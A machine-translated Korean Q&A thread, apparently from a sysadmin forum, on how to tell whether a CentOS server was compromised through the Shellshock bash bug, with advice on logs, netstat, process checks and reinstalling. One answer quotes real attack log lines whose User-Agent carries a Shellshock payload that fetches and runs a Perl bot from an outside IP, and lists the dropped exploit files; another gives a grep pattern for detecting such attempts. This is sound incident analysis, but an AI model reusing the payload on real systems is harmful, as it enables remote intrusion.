Shellshock : 서버가 손상되었는지 + 의심스러운 파일이 있는지 확인하려면 어떻게해야합니까


18

누군가가 대답 할 수 있기를 바랍니다.

  1. Shellshock 버그로 인해 서버가 이미 손상되었는지 어떻게 알 수 있습니까?
  2. 손상된 경우 악성 파일을 찾아야하는 특정 폴더가 있습니까?
  3. 악성 파일은 어떻게 생겼습니까?

CentOS 6, LEMP 스택을 실행 중입니다.

답변:


36

Shellshock 버그로 인해 서버가 이미 손상되었는지 어떻게 알 수 있습니까?

당신은하지 않습니다. 이것이 보안 취약점의 아이디어입니다. 크래커 허용 을 클릭해야 합니까? 확인 / 취소 취약점이 크지 않습니다.

공격 경로의 로그를 확인하는 것이 운이 좋을 수 있지만, 많은 서비스가 취약하고 모든 서비스가 모든 액세스를 기록하는 것은 아니라는 점을 감안할 때 결정적으로 공격을 찾을 수는 없습니다.

손상된 경우 악성 파일을 찾아야하는 특정 폴더가 있습니까?

아니요, 악성 파일은 어디에나있을 수 있습니다.

일반적인 루트킷은 자신을 설치 /root하거나 /또는 /tmp나 바이너리 경로 중 하나지만 정말 그들은 어느 곳이 될 수 있습니다. 실제 서비스 와 비슷한 이름이 있거나 " IPTables"또는 " kernel-bin" 처럼 보이는 "중요한" 이름이 있을 수 있지만 임의의 문자열이거나 다른 이름의 진 이진 파일과 같은 이름 일 수도 있습니다. /etc/rc.local를 통해 연결 또는 연결을 통해 확실한 루트킷을 발견 할 수 있습니다 netstat -neopa. 에서 의심스러운 프로세스 이름을 찾으십시오 top -c.

덜 일반적이고 찾기 어려운 루트킷은 라이브러리를 대체하거나 자체를 shim 라이브러리로로드하고 시스템 호출을 인터셉트합니다. 시스템에서 실행되는 모든 단일 항목을 추적 / 추적하고 알려진 정상 시스템 또는 소스 코드의 예상 동작과 동작을 비교하지 않으면 찾기가 거의 불가능합니다.

시스템을 새로 고침하는 것이 더 빠르고 쉽고 빠르다.

악성 파일은 어떻게 생겼습니까?

다른 일반 ELF 바이너리 또는 라이브러리와 유사합니다. 스크립트 일 수도 있습니다.

결론적으로 시스템이 손상되었을 가능성이 있다고 생각되면 시스템이 손상된 것처럼 처리하고 필요한 조치를 취하십시오.


14
+1 "크래커를 들여 보내?" 또 다른 참고 사항 ... Linux에서 "IPTables"라는 이름이 있으면 매우 의심하십시오. UNIXian은 CapsPhobic입니다.
감독

시스템이 손상되었을 가능성이 있다고 생각되면 시스템이 손상된 것처럼 처리하고 필요한 조치를 취하십시오. 이것은 bash설치된 모든 시스템 과 네트워크 케이블이 연결되어 있음을 의미합니다 .
Federico Poloni

@FedericoPoloni 누군가가 네트워크를 통해 쉘에 액세스 할 수있는 경우에만 해당됩니다. 그러나 그렇지 않으면 당신은 절대적으로 옳습니다.
scai

@FedericoPoloni 나는 그것이 현명한 선택인지 확실하지 않습니다. 왜냐하면 나는 모든 시스템을 지속적으로 다운해야합니다. 왜냐하면 그들은 결코 타협되지 않았다는 것을 100 % 확신 할 수 없기 때문에 아무도 그들의 시스템이 타협되지 않았다고 확신 할 수 없기 때문입니다. 그것들은 매우 낙관적입니다. 시스템이 정상적으로 작동하지 않는 것으로 의심되는 경우 시스템 및 해당 네트워크 트래픽을 검사해야합니다 (예 : CLEAN OS). 구멍을 고정하는 것 외에 조치를 취할 필요가 없다는 조작의 증거가 없습니다. 그렇지 않으면 모든 시스템을 24x7 지속적으로 다시 설치해야합니다!
Frank Waller

@ FrankWaller 나는 완전히 동의합니다. 시스템이 손상되어 공격자가 흔적을 남기지 않을 정도로 숙련 된 원격 가능성 이 항상 있지만,이 경우를 위해 24x7을 다시 설치할 수는 없습니다.
Federico Poloni

21

shellshock는 웜이 아니므로 찾을 파일이 없습니다. Shellshock은 네트워크를 공격하여 진입합니다. 일단 침입자는 공격자가 무엇을하는지 알고 있습니다.


3
이 답변은 나에게 약간 혼란스러워 보입니다. 아마도 급히 사라 졌거나 답이 아닌 의견이어야합니다. 물론 이것은 웜이 아니며 (악의적 인 부분이 아니라 악성 코드가 아님), 왜 그것이 관련성이 있다고 생각하는지 또는 그것이 "찾을 파일이 없음"을 의미하는 이유는 확실하지 않습니다. Shellshock은 네트워크를 공격하는 방법이 아닙니다. 기계에 침입하는 방법입니다. 네트워크가 아니라 컴퓨터에 대한 공격입니다.
DW

2
@DW 간결하게 부여되었지만 OP의 걱정에 대한 직접적인 대응 is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ

5

버그를 악용하려는 한 번의 시도로 IRC 봇을 다음과 같이 설치했습니다 /var/tmp/x. 그러나 일반적으로 찾을 파일은 어디에나 없을 수 있으므로 찾을 특정 파일이 없습니다.

웹 서버를 통해 손상된 경우 웹 서버 사용자가 소유 한 새 파일이나 프로세스가 의심됩니다.

침입자 bash가 시스템에 들어가기 위해 먼저 버그를 사용하고 다음에 로컬 취약점이되는 root경우 거의 알아 채지 못할 수 있습니다.

비슷한 질문 도보십시오 .


웹 서버 사용자 소유권 아이디어에 +1
Xan

4

suprjami의 답변을 에코하고 시스템이 취약한 경우 손상된 것으로 취급해야한다고 말합니다.

아파치를 실행하는 경우 다음 명령을 사용하여 Shellshock 침입 시도에 대한 로그를 확인할 수 있습니다.

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

이 명령은 Apache의 액세스 로그 (기본적으로 access_log, access_log.1, access_log.2 등)에서 "cgi"를 포함하는 모든 행을 추출한 다음 정규식을 사용하여 egrep에 파이프합니다.

(출처 : http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )


Apache의 기본 구성의 경우 대상 URL과 "User-Agent"및 "Referer"헤더에만 공격이 표시됩니다. "쿠키"또는 "X-Ploit"와 같은 헤더의 공격은 기록되지 않습니다.
Mark

1
@Mark 절대적으로, 나는 그것을 언급 했어야했다.
랄프

1
물론, 자존심이 강한 공격자가 할 수있는 첫 번째 일은 로그에서 공격에 대한 힌트를 지우는 것입니다.
Jörg W Mittag

4

Shellshock에는 여러 가지 공격 경로가 있지만 그 중 일부는 아직 일반 대중에게 알려지지 않았거나 사용자 지정 CGI 스크립트에 의해 발생하기 때문에 손상 여부를 알 수있는 확실한 방법은 없습니다.

일반적으로 "일부 시스템 파일이 변경되었거나 의심스러운 항목이 최근에 발생했는지 확인하십시오"접근 방식을 사용하여 서버 동작을 주시 할 수 있습니다.

  1. 갑자기 더 많은 네트워크 트래픽이 있습니까?
  2. CPU / 메모리 사용량이 많이 바뀌 었습니까?
  3. 디스크 공간을 많이 차지하거나 평소보다 더 많은 I / O를 발생시키는 것이 있습니까?
  4. 합니까는 netstat이상한 네트워크 연결이나 보여 ps aux당신이 인식하지 못하는 쇼 프로세스를?
  5. 서버가 갑자기 이전보다 훨씬 더 많은 이메일을 발송합니까?

적절한 서버 상태 모니터링 (예 : 등 Zabbix)이 있고 실행 중이면 보안 위반을 찾는 데 도움이 될 수 있습니다. 시스템 파일의 MD5 / SHA 합계를 알려진 양호한 백업과 비교할 수도 있습니다.

기본적으로 서버가 손상된 것처럼 행동하고 생각할 수있는 모든 것을 조사하십시오.


4

방금 손상된 오래된 Plesk 시스템을 정리하는 것이 즐거웠습니다. 그것을 제공 한 첫 번째 일은 수많은 포트를 청취하기 시작한 수많은 프로세스와 원래 스캔 서버에서 코드를 다운로드하려는 다른 프로세스였습니다.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

로그를 따라 나는 궁극적 인 구멍이 cgi_wrapper스크립트라는 것을 알았습니다. 시스템을 보호하고 보호 해야하는 것은 실제로 구멍을 보호에 찢는 것입니다. 다음은 프로브의 일부 로그 라인과 성공적인 공격입니다.

이들은 access_log의 행입니다. 이것은 샘플 일뿐입니다. 두 행의 200에서 200을 기록하고 다른 행은 404로 실패합니다. 404가있는 행에 대해서는 걱정할 필요가 없습니다. 그러나 200을 가진 사람들은 그러나했다. 이러한 공격의 패턴은 항상 동일합니다. 1. 취약한 cgi 스크립트 찾기 shellshock exploit을 사용하여 perl 스크립트를 다운로드하여 실행하고 perl 스크립트를 다시 삭제하십시오. 펄 스크립트는 실제로 일부 소스 파일 (tgz)을 다운로드하여 컴파일하고 실행합니다. 최소한 백도어 및 자동 업데이트 메커니즘을 포함하여 높은 실행 권한을 얻으려고 시도하는 익스플로잇처럼 보입니다. 모든 초기 스크립트는 실제로 랩퍼가 제공 한 사용자로 실행되지만 이후 서비스는 PPID 1 (루트 프로세스에서 시작)로 시작됩니다.

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

그리고 여기에 해당 error_log 줄이 있습니다.

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

/ tmp에 다운로드 한 파일들 bot.pl 파일은 바로 삭제되므로 추측 할 수 없습니다.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

잠시 후 나는 중국과 같은 다양한 곳에서 ssh 연결이 일반적으로 서버를 많이 방문하지 않는 것을 발견했습니다. 나는 bash를 비상 조치로 패치했다. (실제로 오래된 소스와 패치 파일뿐만 아니라 FSF 웹 사이트에서 패치 소스를 구할 수있어서 좋았을 것이다. 지금 닦으십시오. 공격에 대해 다른 사람을 찾고 있다면 물어볼 수는 있지만 곧 할 수 있습니다.


3

이 답변은 특히 Shellshock과 관련이 없지만 어떤 시스템에서도 타협 된 것으로 생각 될 수 있습니다

